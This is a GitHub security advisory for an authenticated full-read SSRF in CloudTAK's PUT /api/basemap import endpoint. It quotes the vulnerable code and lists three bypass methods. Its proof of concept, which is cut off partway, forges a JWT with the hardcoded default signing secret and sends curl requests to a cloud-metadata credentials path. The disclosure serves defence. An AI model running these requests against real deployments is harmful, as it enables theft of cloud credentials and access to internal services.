GitHub Advisoryadvisory · npm

GHSA-vqrw-qphh-p34v TAK-PS-Stats Web UI: Authenticated full-read SSRF in CloudTAK basemap import (PUT /api/basemap) — no IP-classification guard

MEDIUM Published 2026-07-17 Modified 2026-09-17 Official page ↗
Aliases
CVE-2026-54546
Ecosystem
npm
Packages
@tak-ps/cloudtak
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Weaknesses
CWE-918
Reviewed
2026-07-17

Affected packages

• npm @tak-ps/cloudtak: < 13.22.1 → fixed in 13.22.1

Description

Summary `PUT /api/basemap` (the basemap import endpoint) fetches an attacker-supplied URL server-side with no SSRF protection whatsoever. Any authenticated user can submit a JSON body `{ "type": "...", "url": "" }`; the server calls `fetch(url)` against that URL and then reflects the response body (`name`, `attribution`, `tiles[0]`, zoom levels) back to the caller in the `OptionalTileJSON` response. Because there is no IP-address classification, internal-only services are reachable: cloud metadata (`http://169.254.169.254/...`), loopback (`http://127.0.0.1/...`), RFC1918 ranges, and CGNAT. The response body flows back to the attacker, making this a full-read SSRF (not blind): the attacker reads the internal HTTP response verbatim. This enables theft of cloud instance credentials, internal service enumeration, and reading of internal-only HTTP endpoints from the network position of the CloudTAK API server. The only URL check in the basemap protocol layer (`BasemapProtocol.isValidURL`, `api/lib/interface-basemap.ts`) validates the scheme is `http`/`https` only and performs no host/IP filtering — and the import path does not even call it; it goes straight from `new URL(rawURL)` to `fetch(url)`. Three independent bypass classes were confirmed end-to-end against a real deployed build: 1. Direct internal/loopback IP literals. 2. Alternate IP encodings (e.g. decimal `http://2130706433/` = `127.0.0.1`). 3. Redirect following — `fetch` uses the default `redirect: 'follow'`, so even a public initial host that 302-redirects to an internal address is followed with no re-validation. Vulnerable code (file:line) `api/routes/basemap.ts` — `importBasemapURL()` and the `PUT /basemap` handler (line numbers at commit `90d43bdd2fb7d9bd57cbce28c709d9e5207a475a`): https://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/routes/basemap.ts#L68-L136 ```ts // api/routes/basemap.ts async function importBasemapURL( config: Config, rawURL: string, auth?: Static, ): Promise> { const imported: Static = { type: Basemap_Type.RASTER }; let url: URL; try { url = new URL(rawURL); // (1) only well-formedness is checked } catch (err) { throw new Err(400, err instanceof Error ? err : new Error(String(err)), 'Invalid URL'); } if (isEsriLayerURL(String(url))) { /* ... ESRI proxy path ... */ } const tjres = await fetch(url); // (2) SSRF sink — no host/IP guard, default redirect:follow if (!tjres.ok) throw new Err(400, null, 'Unable to fetch TileJSON from source URL'); const tjbody = await tjres.json() as Record; if (tjbody.name) imported.name = tjbody.name; // (3) internal response reflected to caller if (tjbody.attribution) imported.attribution = tjbody.attribution; if (Array.isArray(tjbody.tiles) && tjbody.tiles.length) { imported.url = tjbody.tiles[0]...; } return imported; } ``` The handler at `api/routes/basemap.ts` L139–L233 mounts this as `PUT /api/basemap` and gates it only with `Auth.is_auth(config, req)` (L157), i.e. any authenticated user with `application/json` body `{ type, url }` reaches `importBasemapURL((req.body).url, (req.body).auth)`. `BasemapProtocol.isValidURL` at `api/lib/interface-basemap.ts` L136 — the only "validation" in the protocol layer — checks the scheme only and performs no IP filtering: https://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/lib/interface-basemap.ts#L136-L148 How input reaches the sink 1. Attacker authenticates as any CloudTAK user (any role) and obtains a bearer token. 2. Attacker sends `PUT /api/basemap` with `Content-Type: application/json` and body `{ "type": "...", "url": "" }`. 3. Handler `api/routes/basemap.ts` L155–L233 calls `Auth.is_auth(config, req)` (L157, any authenticated user passes) then `importBasemapURL(config, (req.body).url, (req.body).auth)` (L233). 4. `importBasemapURL` (L68) does `new URL(rawURL)` (L79) and, for non-ESRI URLs, reaches `const tjres = await fetch(url)` (L99) — the SSRF sink. No host/IP classification occurs anywhere on this path; `fetch` uses the default `redirect: 'follow'`. 5. The response JSON is parsed (L104) and `name` / `attribution` / `tiles[0]` are copied into the response object (L106–L117) and returned to the attacker — closing the read loop. Impact Server-side full-read SSRF from the network position of the CloudTAK API server, reachable by any single authenticated user: • Read the cloud instance metadata endpoint (`http://169.254.169.254/latest/meta-data/iam/security-credentials/`) and exfiltrate temporary IAM credentials. • Reach and read internal-only HTTP services (databases' HTTP UIs, admin panels, other microservices) not exposed to the internet. • Enumerate internal hosts/ports via response/timing differences. Because the fetched body is reflected back to the caller, the attack is non-blind (full response disclosure), not merely a blind request-forgery. Proof of concept End-to-end reproduction against a real deployed CloudTAK API server (not a unit harness). An internal-only sentinel HTTP service is bound to `127.0.0.1:9000` (loopback only, unreachable from outside the host) and returns a TileJSON body carrying secret marker values; the proof is that the CloudTAK server fetches it server-side and reflects those secrets back to the attacker. 1) Pinned install / build (v13.5.0, commit `64bc1886ff56b62f53d765d69ac90ff9fc23b54b`): ```bash git clone https://github.com/dfpc-coe/CloudTAK.git cd CloudTAK && git checkout v13.5.0 cd api && npm ci Postgres reachable at postgres://postgres@localhost:5432/tak_ps_etl (PostGIS-enabled) ``` 2) Deploy the real API server (test stack: SigningSecret defaults to the hardcoded `coe-wildland-fire`, migrations auto-apply, a default server row is auto-generated): ```bash cd api StackName=test \ SigningSecret=coe-wildland-fire \ POSTGRES='postgres://postgres@localhost:5432/tak_ps_etl' \ API_URL='http://localhost:5001' \ npx tsx index.ts --noevents --nosinks --nogeofence => "ok - http://localhost:5001" ``` 3) Internal-only sentinel (`internal_sentinel.js`) — simulates an internal HTTP service / metadata endpoint, bound to loopback only: ```js const http = require('http'); const fs = require('fs'); const srv = http.createServer((req, res) => { fs.appendFileSync('/tmp/ssrf_sentinel_hits.log', `[HIT ${new Date().toISOString()}] ${req.method} ${req.url} from=${req.socket.remoteAddress}\n`); res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ name: 'INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c', attribution: 'leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e', tiles: ['http://127.0.0.1:9000/internal/{z}/{x}/{y}.png'], minzoom: 0, maxzoom: 19 })); }); srv.listen(9000, '127.0.0.1', () => console.log('sentinel on 127.0.0.1:9000 (internal-only)')); ``` ```bash node internal_sentinel.js & A redirector for the redirect-follow variant, also loopback-only: node -e "require('http').createServer((q,r)=>{r.writeHead(302,{Location:'http://127.0.0.1:9000/via-302-redirect'});r.end();}).listen(9100,'127.0.0.1')" & ``` 4) Attacker driver — mint a normal user JWT (signed with the deployed `SigningSecret`) and issue the three requests: ```bash TOK=$(node -e "console.log(require('jsonwebtoken').sign({email:'[email protected]',access:'user'},'coe-wildland-fire'))") (a) loopback / metadata-style path curl -s -X PUT http://localhost:5001/api/basemap \ -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \ -d '{"type":"raster","url":"http://127.0.0.1:9000/latest/meta-data/iam/security-credentials/"}' (b) decimal-IP encoding of 127.0.0.1 curl -s -X PUT http://localhost:5001/api/basemap \ -H "Authorization: Bearer $TOK" -H 'Content-Type: applicat…

Related

Alias · CVE (1)

  • CVE-2026-54546 CloudTAK is a browser-based Common Operating Picture and situational awareness tool compatible with TAK. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References